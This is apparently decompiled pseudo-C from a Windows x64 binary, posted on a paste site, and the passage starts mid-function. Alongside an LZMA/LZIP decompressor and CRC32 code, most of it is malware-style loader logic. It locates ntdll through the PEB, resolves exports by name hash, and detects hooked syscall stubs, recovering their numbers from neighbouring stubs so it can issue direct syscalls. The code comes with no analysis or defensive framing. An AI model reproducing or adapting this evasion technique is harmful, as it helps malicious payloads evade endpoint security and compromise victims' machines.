uVar5 = *(longlong *)(param_1 + 0x20) - (longlong)pbVar16;
pbVar16 = *(byte **)(param_1 + 0x20);
}
else {
uVar10 = 0;
uVar9 = 0;
if (uVar12 < 0x14) {
pbVar6 = (byte *)(param_1 + uVar5 + 0x70);
do {
uVar9 = (uint)uVar10;
if (uVar8 <= uVar10) break;
uVar12 = (int)uVar5 + 1;
uVar5 = (ulonglong)uVar12;
*pbVar6 = pbVar16[uVar10];
uVar9 = uVar9 + 1;
uVar10 = (ulonglong)uVar9;
pbVar6 = pbVar6 + 1;
} while (uVar12 < 0x14);
}
uVar12 = (uint)uVar5;
*(uint *)(param_1 + 0x6c) = uVar12;
if ((uVar12 < 0x14) || (bVar17)) {
uVar4 = FUN_140003b00(param_1,(byte *)(param_1 + 0x70),uVar5);
if ((int)uVar4 == 0) {
uVar8 = (ulonglong)uVar9;
goto LAB_1400039b5;
}
if ((bVar17) && ((int)uVar4 != 2)) goto LAB_14000396e;
}
*(char **)(param_1 + 0x20) = param_1 + 0x70;
uVar4 = FUN_1400035d0((undefined4 *)param_1,uVar11,(byte *)(param_1 + 0x70));
if ((int)uVar4 != 0) goto LAB_14000397c;
uVar5 = (ulonglong)((uVar9 - 0x70) + ((*(int *)(param_1 + 0x20) - uVar12) - (int)param_1));
pbVar16 = pbVar16 + uVar5;
param_1[0x6c] = '\0';
param_1[0x6d] = '\0';
param_1[0x6e] = '\0';
param_1[0x6f] = '\0';
}
uVar8 = uVar8 - uVar5;
uVar15 = uVar15 + uVar5;
iVar2 = *(int *)(param_1 + 0x5c);
}
if (*(int *)(param_1 + 0x2c) == 0) {
*param_7 = 1;
}
bVar17 = *(int *)(param_1 + 0x2c) != 0;
LAB_1400039f0:
local_68 = local_68 - uVar15;
local_res20 = local_res20 + uVar15;
*param_5 = *param_5 + uVar15;
uVar11 = *(longlong *)(param_1 + 0x30) - uVar3;
FUN_1400010d0(local_res10,*(longlong *)(param_1 + 0x18) + uVar3,uVar11);
local_res10 = local_res10 + uVar11;
uVar7 = uVar7 - uVar11;
*param_3 = *param_3 + uVar11;
if (bVar17) {
return bVar17;
}
if ((uVar11 == 0) || (uVar7 == 0)) {
return false;
}
} while( true );
}
void FUN_140003aa0(longlong param_1,longlong param_2)
{
(**(code **)(param_2 + 8))(param_2,*(undefined8 *)(param_1 + 0x10));
*(undefined8 *)(param_1 + 0x10) = 0;
(**(code **)(param_2 + 8))(param_2,*(undefined8 *)(param_1 + 0x18));
*(undefined8 *)(param_1 + 0x18) = 0;
return;
}
void FUN_140003ae0(longlong param_1)
{
*(undefined4 *)(param_1 + 0x60) = 1;
*(undefined8 *)(param_1 + 0x30) = 0;
*(undefined4 *)(param_1 + 0x5c) = 0;
*(undefined4 *)(param_1 + 0x6c) = 0;
*(undefined8 *)(param_1 + 0x40) = 0;
*(undefined4 *)(param_1 + 100) = 1;
return;
}
undefined8 FUN_140003b00(char *param_1,byte *param_2,longlong param_3)
{
byte *pbVar1;
uint uVar2;
undefined8 uVar3;
uint uVar4;
uint uVar5;
uint uVar6;
ulonglong uVar7;
uint uVar8;
uint uVar9;
longlong lVar10;
uint uVar11;
uint uVar12;
int iVar13;
longlong lVar14;
ulonglong uVar15;
longlong lVar16;
uVar11 = *(uint *)(param_1 + 0x28);
pbVar1 = param_2 + param_3;
lVar10 = *(longlong *)(param_1 + 0x10);
uVar5 = *(uint *)(param_1 + 0x48);
uVar7 = (ulonglong)uVar5;
uVar15 = 1;
uVar9 = *(uint *)(param_1 + 0x40);
uVar2 = *(uint *)(param_1 + 0x2c);
uVar12 = 1;
uVar8 = (1 << ((byte)*(undefined4 *)(param_1 + 8) & 0x1f)) - 1U & uVar9;
lVar16 = (ulonglong)(uVar5 << 4) + (ulonglong)uVar8;
if (uVar11 < 0x1000000) {
if (pbVar1 <= param_2) {
return 0;
}
uVar2 = uVar2 << 8 | (uint)*param_2;
uVar11 = uVar11 << 8;
param_2 = param_2 + 1;
}
uVar4 = (uVar11 >> 0xb) * (uint)*(ushort *)(lVar10 + lVar16 * 2);
if (uVar2 < uVar4) {
lVar10 = lVar10 + 0xe6c;
if ((*(int *)(param_1 + 0x44) != 0) || (uVar9 != 0)) {
lVar16 = *(longlong *)(param_1 + 0x30);
if (lVar16 == 0) {
lVar16 = *(longlong *)(param_1 + 0x38);
}
lVar10 = lVar10 + (ulonglong)
(((uint)(*(byte *)(lVar16 + -1 + *(longlong *)(param_1 + 0x18)) >>
(8U - *param_1 & 0x1f)) +
(((1 << ((byte)*(undefined4 *)(param_1 + 4) & 0x1f)) - 1U & uVar9) <<
((byte)*(undefined4 *)param_1 & 0x1f))) * 0x300) * 2;
}
lVar16 = 0;
if (uVar5 < 7) {
uVar7 = 1;
do {
if (uVar4 < 0x1000000) {
if (pbVar1 <= param_2) {
return 0;
}
uVar2 = uVar2 << 8 | (uint)*param_2;
uVar4 = uVar4 << 8;
param_2 = param_2 + 1;
}
uVar11 = (int)uVar7 * 2;
uVar5 = (uVar4 >> 0xb) * (uint)*(ushort *)(lVar10 + uVar7 * 2);
if (uVar5 <= uVar2) {
uVar2 = uVar2 - uVar5;
uVar11 = uVar11 + 1;
uVar5 = uVar4 - uVar5;
}
uVar4 = uVar5;
uVar7 = (ulonglong)uVar11;
} while (uVar11 < 0x100);
}
else {
if (*(ulonglong *)(param_1 + 0x30) < (ulonglong)*(uint *)(param_1 + 0x4c)) {
lVar16 = *(longlong *)(param_1 + 0x38);
}
uVar5 = 0x100;
uVar7 = 1;
uVar11 = (uint)*(byte *)((*(ulonglong *)(param_1 + 0x30) -
(ulonglong)*(uint *)(param_1 + 0x4c)) + lVar16 +
*(longlong *)(param_1 + 0x18));
while( true ) {
uVar11 = uVar11 * 2;
uVar9 = uVar5 & uVar11;
if (uVar4 < 0x1000000) {
if (pbVar1 <= param_2) {
return 0;
}
uVar2 = uVar2 << 8 | (uint)*param_2;
uVar4 = uVar4 << 8;
param_2 = param_2 + 1;
}
uVar12 = (int)uVar7 * 2;
uVar8 = (uVar4 >> 0xb) * (uint)*(ushort *)(lVar10 + (uVar9 + uVar7 + (ulonglong)uVar5) * 2);
if (uVar2 < uVar8) {
uVar9 = ~uVar9;
uVar4 = uVar8;
}
else {
uVar4 = uVar4 - uVar8;
uVar2 = uVar2 - uVar8;
uVar12 = uVar12 + 1;
}
uVar7 = (ulonglong)uVar12;
if (0xff < uVar12) break;
uVar5 = uVar5 & uVar9;
}
}
uVar3 = 1;
goto LAB_1400040dc;
}
uVar11 = uVar11 - uVar4;
uVar2 = uVar2 - uVar4;
if (uVar11 < 0x1000000) {
if (pbVar1 <= param_2) {
return 0;
}
uVar2 = uVar2 * 0x100 | (uint)*param_2;
uVar11 = uVar11 * 0x100;
param_2 = param_2 + 1;
}
uVar9 = 0;
uVar5 = (uVar11 >> 0xb) * (uint)*(ushort *)(lVar10 + 0x180 + uVar7 * 2);
if (uVar2 < uVar5) {
uVar3 = 2;
lVar16 = 0x664;
uVar11 = uVar9;
}
else {
uVar11 = uVar11 - uVar5;
uVar2 = uVar2 - uVar5;
uVar3 = 3;
if (uVar11 < 0x1000000) {
if (pbVar1 <= param_2) {
return 0;
}
uVar2 = uVar2 * 0x100 | (uint)*param_2;
uVar11 = uVar11 * 0x100;
param_2 = param_2 + 1;
}
uVar4 = (uVar11 >> 0xb) * (uint)*(ushort *)(lVar10 + 0x198 + uVar7 * 2);
if (uVar2 < uVar4) {
if (uVar4 < 0x1000000) {
if (pbVar1 <= param_2) {
return 0;
}
uVar2 = uVar2 << 8 | (uint)*param_2;
uVar4 = uVar4 * 0x100;
param_2 = param_2 + 1;
}
uVar11 = (uVar4 >> 0xb) * (uint)*(ushort *)(lVar10 + 0x1e0 + lVar16 * 2);
if (uVar2 < uVar11) {
if ((uVar11 < 0x1000000) && (pbVar1 <= param_2)) {
return 0;
}
return 3;
}
LAB_140003e64:
uVar5 = uVar4 - uVar11;
uVar2 = uVar2 - uVar11;
}
else {
uVar11 = uVar11 - uVar4;
uVar2 = uVar2 - uVar4;
if (uVar11 < 0x1000000) {
if (pbVar1 <= param_2) {
return 0;
}
uVar2 = uVar2 * 0x100 | (uint)*param_2;
uVar11 = uVar11 * 0x100;
param_2 = param_2 + 1;
}
uVar5 = (uVar11 >> 0xb) * (uint)*(ushort *)(lVar10 + 0x1b0 + uVar7 * 2);
if (uVar5 <= uVar2) {
uVar4 = uVar11 - uVar5;
uVar2 = uVar2 - uVar5;
if (uVar4 < 0x1000000) {
if (pbVar1 <= param_2) {
return 0;
}
uVar2 = uVar2 * 0x100 | (uint)*param_2;
uVar4 = uVar4 * 0x100;
param_2 = param_2 + 1;
}
uVar5 = (uVar4 >> 0xb) * (uint)*(ushort *)(lVar10 + 0x1c8 + uVar7 * 2);
uVar11 = uVar5;
if (uVar5 <= uVar2) goto LAB_140003e64;
}
}
lVar16 = 0xa68;
uVar11 = 0xc;
}
lVar14 = lVar16 + lVar10;
if (uVar5 < 0x1000000) {
if (pbVar1 <= param_2) {
return 0;
}
uVar2 = uVar2 << 8 | (uint)*param_2;
uVar5 = uVar5 << 8;
param_2 = param_2 + 1;
}
uVar6 = (uVar5 >> 0xb) * (uint)*(ushort *)(lVar16 + lVar10);
if (uVar2 < uVar6) {
uVar5 = 8;
lVar14 = lVar14 + ((ulonglong)(uVar8 * 8) + 2) * 2;
}
else {
uVar5 = uVar5 - uVar6;
uVar2 = uVar2 - uVar6;
if (uVar5 < 0x1000000) {
if (pbVar1 <= param_2) {
return 0;
}
uVar2 = uVar2 * 0x100 | (uint)*param_2;
uVar5 = uVar5 * 0x100;
param_2 = param_2 + 1;
}
uVar4 = (uVar5 >> 0xb) * (uint)*(ushort *)(lVar14 + 2);
if (uVar2 < uVar4) {
uVar5 = 8;
lVar14 = lVar14 + ((ulonglong)(uVar8 * 8) + 0x82) * 2;
uVar9 = 8;
uVar6 = uVar4;
}
else {
uVar6 = uVar5 - uVar4;
lVar14 = lVar14 + 0x204;
uVar2 = uVar2 - uVar4;
uVar9 = 0x10;
uVar5 = 0x100;
}
}
do {
uVar7 = (ulonglong)uVar12;
if (uVar6 < 0x1000000) {
if (pbVar1 <= param_2) {
return 0;
}
uVar2 = uVar2 << 8 | (uint)*param_2;
uVar6 = uVar6 << 8;
param_2 = param_2 + 1;
}
uVar12 = uVar12 * 2;
uVar4 = (uVar6 >> 0xb) * (uint)*(ushort *)(lVar14 + uVar7 * 2);
if (uVar4 <= uVar2) {
uVar2 = uVar2 - uVar4;
uVar12 = uVar12 + 1;
uVar4 = uVar6 - uVar4;
}
uVar6 = uVar4;
} while (uVar12 < uVar5);
uVar12 = uVar12 + (uVar9 - uVar5);
if (uVar11 < 4) {
uVar7 = 1;
uVar11 = 3;
if (uVar12 < 4) {
uVar11 = uVar12;
}
do {
uVar5 = uVar4;
if (uVar4 < 0x1000000) {
if (pbVar1 <= param_2) {
return 0;
}
uVar2 = uVar2 << 8 | (uint)*param_2;
uVar5 = uVar4 << 8;
param_2 = param_2 + 1;
}
uVar9 = (int)uVar7 * 2;
uVar4 = (uVar5 >> 0xb) *
(uint)*(ushort *)((ulonglong)(uVar11 << 6) * 2 + lVar10 + 0x360 + uVar7 * 2);
if (uVar4 <= uVar2) {
uVar2 = uVar2 - uVar4;
uVar9 = uVar9 + 1;
uVar4 = uVar5 - uVar4;
}
uVar7 = (ulonglong)uVar9;
} while (uVar9 < 0x40);
uVar9 = uVar9 - 0x40;
if (3 < uVar9) {
iVar13 = (uVar9 >> 1) - 1;
if (uVar9 < 0xe) {
lVar10 = lVar10 + 0x55e +
((ulonglong)((uVar9 & 1 | 2) << ((byte)iVar13 & 0x1f)) - (ulonglong)uVar9) * 2;
}
else {
iVar13 = (uVar9 >> 1) - 5;
do {
if (uVar4 < 0x1000000) {
if (pbVar1 <= param_2) {
return 0;
}
uVar2 = uVar2 << 8 | (uint)*param_2;
uVar4 = uVar4 << 8;
param_2 = param_2 + 1;
}
uVar4 = uVar4 >> 1;
uVar2 = uVar2 - (0xffffffffU - ((int)(uVar2 - uVar4) >> 0x1f) & uVar4);
iVar13 = iVar13 + -1;
} while (iVar13 != 0);
lVar10 = lVar10 + 0x644;
iVar13 = 4;
}
do {
uVar11 = uVar4;
if (uVar4 < 0x1000000) {
if (pbVar1 <= param_2) {
return 0;
}
uVar2 = uVar2 << 8 | (uint)*param_2;
uVar11 = uVar4 << 8;
param_2 = param_2 + 1;
}
uVar5 = (int)uVar15 * 2;
uVar4 = (uVar11 >> 0xb) * (uint)*(ushort *)(lVar10 + uVar15 * 2);
if (uVar4 <= uVar2) {
uVar2 = uVar2 - uVar4;
uVar5 = uVar5 + 1;
uVar4 = uVar11 - uVar4;
}
uVar15 = (ulonglong)uVar5;
iVar13 = iVar13 + -1;
} while (iVar13 != 0);
}
}
LAB_1400040dc:
if ((uVar4 < 0x1000000) && (pbVar1 <= param_2)) {
uVar3 = 0;
}
return uVar3;
}
void FUN_140004110(longlong param_1,longlong param_2)
{
uint uVar1;
uint uVar2;
longlong lVar3;
longlong lVar4;
longlong lVar5;
uint uVar6;
ulonglong uVar7;
ulonglong uVar8;
uVar1 = *(uint *)(param_1 + 0x5c);
uVar7 = (ulonglong)uVar1;
if (uVar1 - 1 < 0x111) {
lVar3 = *(longlong *)(param_1 + 0x18);
uVar8 = *(ulonglong *)(param_1 + 0x30);
uVar2 = *(uint *)(param_1 + 0x4c);
lVar4 = *(longlong *)(param_1 + 0x38);
if (param_2 - uVar8 < uVar7) {
uVar7 = (ulonglong)(uint)((int)param_2 - (int)uVar8);
}
uVar6 = (uint)uVar7;
if ((*(int *)(param_1 + 0x44) == 0) &&
((uint)(*(int *)(param_1 + 0xc) - *(int *)(param_1 + 0x40)) <= uVar6)) {
*(int *)(param_1 + 0x44) = *(int *)(param_1 + 0xc);
}
*(int *)(param_1 + 0x40) = *(int *)(param_1 + 0x40) + uVar6;
*(uint *)(param_1 + 0x5c) = uVar1 - uVar6;
while (uVar6 != 0) {
lVar5 = 0;
if (uVar8 < uVar2) {
lVar5 = lVar4;
}
*(undefined *)(uVar8 + lVar3) = *(undefined *)((lVar5 - (ulonglong)uVar2) + uVar8 + lVar3);
uVar8 = uVar8 + 1;
uVar6 = (int)uVar7 - 1;
uVar7 = (ulonglong)uVar6;
}
*(ulonglong *)(param_1 + 0x30) = uVar8;
}
return;
}
void FUN_1400041c0(void)
{
uint uVar1;
uint uVar2;
uint uVar3;
uint *puVar4;
uVar3 = 0;
puVar4 = &DAT_1400070a0;
do {
uVar2 = uVar3 & 1;
uVar1 = uVar3 >> 1;
uVar3 = uVar3 + 1;
uVar1 = -uVar2 & 0xedb88320 ^ uVar1;
uVar1 = -(uVar1 & 1) & 0xedb88320 ^ uVar1 >> 1;
uVar1 = -(uVar1 & 1) & 0xedb88320 ^ uVar1 >> 1;
uVar1 = -(uVar1 & 1) & 0xedb88320 ^ uVar1 >> 1;
uVar1 = -(uVar1 & 1) & 0xedb88320 ^ uVar1 >> 1;
uVar1 = -(uVar1 & 1) & 0xedb88320 ^ uVar1 >> 1;
uVar1 = -(uVar1 & 1) & 0xedb88320 ^ uVar1 >> 1;
*puVar4 = -(uVar1 & 1) & 0xedb88320 ^ uVar1 >> 1;
puVar4 = puVar4 + 1;
} while (uVar3 < 0x100);
return;
}
uint FUN_140004270(uint param_1,byte *param_2,longlong param_3)
{
byte bVar1;
if (param_3 != 0) {
do {
bVar1 = *param_2;
param_2 = param_2 + 1;
param_1 = param_1 >> 8 ^ (&DAT_1400070a0)[(bVar1 ^ param_1) & 0xff];
param_3 = param_3 + -1;
} while (param_3 != 0);
}
return param_1;
}
void FUN_1400042f0(undefined8 *param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4,
undefined8 param_5)
{
param_1[2] = param_2;
*param_1 = &LAB_1400042b0;
param_1[1] = &LAB_1400042d0;
param_1[5] = param_5;
param_1[3] = param_3;
param_1[4] = param_4;
return;
}
void FUN_140004330(undefined4 *param_1)
{
*param_1 = 0xd;
*(undefined **)(param_1 + 2) = &LAB_140004320;
*(undefined **)(param_1 + 4) = &LAB_140004370;
*(undefined **)(param_1 + 6) = &LAB_140004510;
param_1[8] = 0;
*(undefined8 *)(param_1 + 10) = 0;
return;
}
void FUN_140004600(undefined4 *param_1)
{
*param_1 = 6;
*(undefined **)(param_1 + 2) = &LAB_140004320;
*(code **)(param_1 + 4) = FUN_140004710;
*(undefined **)(param_1 + 6) = &LAB_1400047f0;
*(undefined **)(param_1 + 10) = &LAB_140004780;
*(undefined **)(param_1 + 0xc) = &LAB_140004650;
param_1[8] = 0xc;
return;
}
undefined8 FUN_140004710(char *param_1,undefined4 *param_2)
{
int iVar1;
iVar1 = strncmp("LZIP",param_1,4);
if (iVar1 != 0) {
return 1;
}
*param_2 = 0x1030002;
*(undefined8 *)(param_2 + 2) = 0;
param_2[4] = 1 << (param_1[5] & 0x1fU);
return 0;
}
// WARNING: Globals starting with '_' overlap smaller symbols at the same address
undefined8 FUN_140004830(int param_1,undefined4 *param_2)
{
undefined8 uVar1;
if ((param_1 == 0) || (param_2 == (undefined4 *)0x0)) {
uVar1 = 0;
}
else {
FUN_140005050(param_1);
DAT_140007020 = *param_2;
DAT_140007024 = param_2[1];
_DAT_140007028 = param_2[2];
DAT_14000702c = param_2[3];
DAT_140007030 = param_2[4];
DAT_140007034 = param_2[5];
_DAT_140007038 = param_2[6];
uVar1 = 1;
}
return uVar1;
}
longlong FUN_1400048d0(longlong param_1,longlong param_2,longlong param_3,undefined8 param_4,
undefined8 param_5,undefined4 *param_6)
{
ushort uVar1;
undefined4 uVar2;
undefined8 uVar3;
longlong local_28;
if (param_3 == 0) {
local_28 = 0;
}
else {
uVar3 = FUN_140005060(DAT_140007020);
if ((int)uVar3 == 0) {
local_28 = 0;
}
else {
local_28 = 0;
if (param_2 != 0) {
local_28 = param_2;
}
uVar1 = FUN_1400056c0();
FUN_1400056d0((uint)uVar1);
uVar2 = FUN_1400056e1();
if (param_6 != (undefined4 *)0x0) {
*param_6 = uVar2;
}
}
}
return local_28;
}
void FUN_140004a00(longlong param_1,undefined4 *param_2)
{
uint in_stack_ffffffffffffffec;
FUN_1400048d0(0,0,param_1,0,(ulonglong)in_stack_ffffffffffffffec << 0x20,param_2);
return;
}
longlong FUN_140004a40(longlong param_1,longlong param_2,longlong param_3,undefined8 param_4,
undefined8 param_5,undefined4 *param_6)
{
ushort uVar1;
undefined4 uVar2;
undefined8 uVar3;
longlong local_48;
if (param_1 == 0) {
local_48 = 0;
}
else {
uVar3 = FUN_140005060(DAT_140007030);
if ((int)uVar3 == 0) {
local_48 = 0;
}
else {
local_48 = 0;
if (param_3 != 0) {
local_48 = param_3;
}
uVar1 = FUN_1400056c0();
FUN_1400056d0((uint)uVar1);
uVar2 = FUN_1400056e1();
if (param_6 != (undefined4 *)0x0) {
*param_6 = uVar2;
}
}
}
return local_48;
}
undefined8 FUN_140004bd0(undefined8 param_1,longlong param_2,undefined4 *param_3)
{
ushort uVar1;
undefined4 uVar2;
undefined8 uVar3;
if ((param_2 != 0) && (uVar3 = FUN_140005060(DAT_14000702c), (int)uVar3 != 0)) {
uVar1 = FUN_1400056c0();
FUN_1400056d0((uint)uVar1);
uVar2 = FUN_1400056e1();
if (param_3 != (undefined4 *)0x0) {
*param_3 = uVar2;
}
}
return 0xffffffffffffffff;
}
undefined4
FUN_140004c70(longlong param_1,longlong param_2,longlong param_3,int param_4,undefined4 *param_5)
{
ushort uVar1;
undefined4 uVar2;
undefined8 uVar3;
if ((((param_2 != 0) && (param_3 != 0)) && (param_4 != 0)) &&
(uVar3 = FUN_140005060(DAT_140007024), (int)uVar3 != 0)) {
uVar1 = FUN_1400056c0();
FUN_1400056d0((uint)uVar1);
uVar2 = FUN_1400056e1();
if (param_5 != (undefined4 *)0x0) {
*param_5 = uVar2;
}
}
return 0;
}
void FUN_140004d60(longlong param_1,longlong param_2,undefined4 *param_3)
{
ushort uVar1;
undefined4 uVar2;
undefined8 uVar3;
if ((param_2 != 0) && (uVar3 = FUN_140005060(DAT_140007034), (int)uVar3 != 0)) {
uVar1 = FUN_1400056c0();
FUN_1400056d0((uint)uVar1);
uVar2 = FUN_1400056e1();
if (param_3 != (undefined4 *)0x0) {
*param_3 = uVar2;
}
}
return;
}
uint FUN_140004df0(char *param_1)
{
char cVar1;
ulonglong uVar2;
int local_28;
uint local_24;
local_24 = 0;
local_28 = 0;
while( true ) {
uVar2 = FUN_140005680(param_1);
if (uVar2 <= (ulonglong)(longlong)local_28) break;
cVar1 = param_1[local_28];
local_24 = FUN_140004e70(local_24,(byte)DAT_140007040);
local_24 = (int)cVar1 + local_24;
local_28 = local_28 + 1;
}
return local_24;
}
uint FUN_140004e70(uint param_1,byte param_2)
{
return param_1 >> (param_2 & 0x1f) | param_1 << (-(param_2 & 0x1f) & 0x1f);
}
// WARNING: Globals starting with '_' overlap smaller symbols at the same address
undefined8 FUN_140004ec0(void)
{
short *psVar1;
undefined8 uVar2;
int *piVar3;
longlong lVar4;
if ((ProcessEnvironmentBlock == (void *)0x0) ||
(*(int *)((longlong)ProcessEnvironmentBlock + 0x118) != 10)) {
uVar2 = 0;
}
else {
psVar1 = *(short **)
(**(longlong **)(*(longlong *)((longlong)ProcessEnvironmentBlock + 0x18) + 0x20) +
0x20);
if (psVar1 == (short *)0x0) {
uVar2 = 0;
}
else if (*psVar1 == 0x5a4d) {
piVar3 = (int *)((longlong)psVar1 + (longlong)*(int *)(psVar1 + 0x1e));
if (*piVar3 == 0x4550) {
lVar4 = (longlong)psVar1 + (ulonglong)(uint)piVar3[0x22];
if (lVar4 == 0) {
uVar2 = 0;
}
else {
DAT_140007080 = (longlong)psVar1 + (ulonglong)*(uint *)(lVar4 + 0x1c);
DAT_140007088 = (longlong)psVar1 + (ulonglong)*(uint *)(lVar4 + 0x20);
DAT_140007090 = (longlong)psVar1 + (ulonglong)*(uint *)(lVar4 + 0x24);
uVar2 = 1;
DAT_140007060 = psVar1;
_DAT_140007068 = psVar1;
_DAT_140007070 = piVar3;
DAT_140007078 = lVar4;
}
}
else {
uVar2 = 0;
}
}
else {
uVar2 = 0;
}
}
return uVar2;
}
void FUN_140005050(undefined4 param_1)
{
DAT_140007040 = param_1;
return;
}
// WARNING: Globals starting with '_' overlap smaller symbols at the same address
undefined8 FUN_140005060(uint param_1)
{
uint uVar1;
undefined8 uVar2;
char *pcVar3;
ushort local_38;
ushort local_34;
ushort local_28;
if (param_1 == 0) {
return 0;
}
if (((((DAT_140007060 == 0) || (DAT_140007080 == 0)) || (DAT_140007088 == 0)) ||
(DAT_140007090 == 0)) && (uVar2 = FUN_140004ec0(), (int)uVar2 == 0)) {
return 0;
}
local_28 = 0;
do {
if (*(uint *)(DAT_140007078 + 0x18) <= (uint)local_28) {
return 0;
}
pcVar3 = (char *)(DAT_140007060 +
(ulonglong)
*(uint *)(DAT_140007080 +
(ulonglong)*(ushort *)(DAT_140007090 + (ulonglong)local_28 * 2) * 4));
uVar1 = FUN_140004df0((char *)(DAT_140007060 +
(ulonglong)*(uint *)(DAT_140007088 + (ulonglong)local_28 * 4)));
if (uVar1 == param_1) {
if ((((*pcVar3 == 'L') && (pcVar3[1] == -0x75)) &&
((pcVar3[2] == -0x2f && ((pcVar3[3] == -0x48 && (pcVar3[6] == '\0')))))) &&
(pcVar3[7] == '\0')) {
_DAT_140007048 = pcVar3;
DAT_140007058 = *(undefined2 *)(pcVar3 + 4);
return 1;
}
if (*pcVar3 == -0x17) {
local_38 = 1;
while( true ) {
if (500 < local_38) {
_DAT_140007048 = pcVar3;
return 0;
}
if (((((pcVar3[(int)((uint)local_38 * 0x20)] == 'L') &&
(pcVar3[(longlong)(int)((uint)local_38 * 0x20) + 1] == -0x75)) &&
(pcVar3[(longlong)(int)((uint)local_38 * 0x20) + 2] == -0x2f)) &&
((pcVar3[(longlong)(int)((uint)local_38 * 0x20) + 3] == -0x48 &&
(pcVar3[(longlong)(int)((uint)local_38 * 0x20) + 6] == '\0')))) &&
(pcVar3[(longlong)(int)((uint)local_38 * 0x20) + 7] == '\0')) break;
if (((pcVar3[(int)((uint)local_38 * -0x20)] == 'L') &&
(pcVar3[(longlong)(int)((uint)local_38 * -0x20) + 1] == -0x75)) &&
((pcVar3[(longlong)(int)((uint)local_38 * -0x20) + 2] == -0x2f &&
(((pcVar3[(longlong)(int)((uint)local_38 * -0x20) + 3] == -0x48 &&
(pcVar3[(longlong)(int)((uint)local_38 * -0x20) + 6] == '\0')) &&
(pcVar3[(longlong)(int)((uint)local_38 * -0x20) + 7] == '\0')))))) {
_DAT_140007048 = pcVar3;
DAT_140007058 =
(ushort)(byte)pcVar3[(longlong)(int)((uint)local_38 * -0x20) + 5] << 8 |
(byte)pcVar3[(longlong)(int)((uint)local_38 * -0x20) + 4] + local_38;
return 1;
}
local_38 = local_38 + 1;
}
_DAT_140007048 = pcVar3;
DAT_140007058 =
(ushort)(byte)pcVar3[(longlong)(int)((uint)local_38 * 0x20) + 5] << 8 |
(byte)pcVar3[(longlong)(int)((uint)local_38 * 0x20) + 4] - local_38;
return 1;
}
_DAT_140007048 = pcVar3;
if (pcVar3[3] == -0x17) {
local_34 = 1;
while( true ) {
if (500 < local_34) {
return 0;
}
if ((((pcVar3[(int)((uint)local_34 * 0x20)] == 'L') &&
(pcVar3[(longlong)(int)((uint)local_34 * 0x20) + 1] == -0x75)) &&
((pcVar3[(longlong)(int)((uint)local_34 * 0x20) + 2] == -0x2f &&
((pcVar3[(longlong)(int)((uint)local_34 * 0x20) + 3] == -0x48 &&
(pcVar3[(longlong)(int)((uint)local_34 * 0x20) + 6] == '\0')))))) &&
(pcVar3[(longlong)(int)((uint)local_34 * 0x20) + 7] == '\0')) break;
if (((((pcVar3[(int)((uint)local_34 * -0x20)] == 'L') &&
(pcVar3[(longlong)(int)((uint)local_34 * -0x20) + 1] == -0x75)) &&
(pcVar3[(longlong)(int)((uint)local_34 * -0x20) + 2] == -0x2f)) &&
((pcVar3[(longlong)(int)((uint)local_34 * -0x20) + 3] == -0x48 &&
(pcVar3[(longlong)(int)((uint)local_34 * -0x20) + 6] == '\0')))) &&
(pcVar3[(longlong)(int)((uint)local_34 * -0x20) + 7] == '\0')) {
DAT_140007058 =
(ushort)(byte)pcVar3[(longlong)(int)((uint)local_34 * -0x20) + 5] << 8 |
(byte)pcVar3[(longlong)(int)((uint)local_34 * -0x20) + 4] + local_34;
return 1;
}
local_34 = local_34 + 1;
}
DAT_140007058 =
(ushort)(byte)pcVar3[(longlong)(int)((uint)local_34 * 0x20) + 5] << 8 |
(byte)pcVar3[(longlong)(int)((uint)local_34 * 0x20) + 4] - local_34;
return 1;
}
}
local_28 = local_28 + 1;
} while( true );
}
longlong FUN_140005680(char *param_1)
{
char *local_18;
for (local_18 = param_1; *local_18 != '\0'; local_18 = local_18 + 1) {
}
return (longlong)local_18 - (longlong)param_1;
}
undefined2 FUN_1400056c0(void)
{
return DAT_140007058;
}
void FUN_1400056d0(undefined4 param_1)
{
DAT_140007000 = param_1;
return;
}
undefined4 FUN_1400056e1(void)
{
syscall();
return DAT_140007000;
}
Editor is loading...
Leave a Comment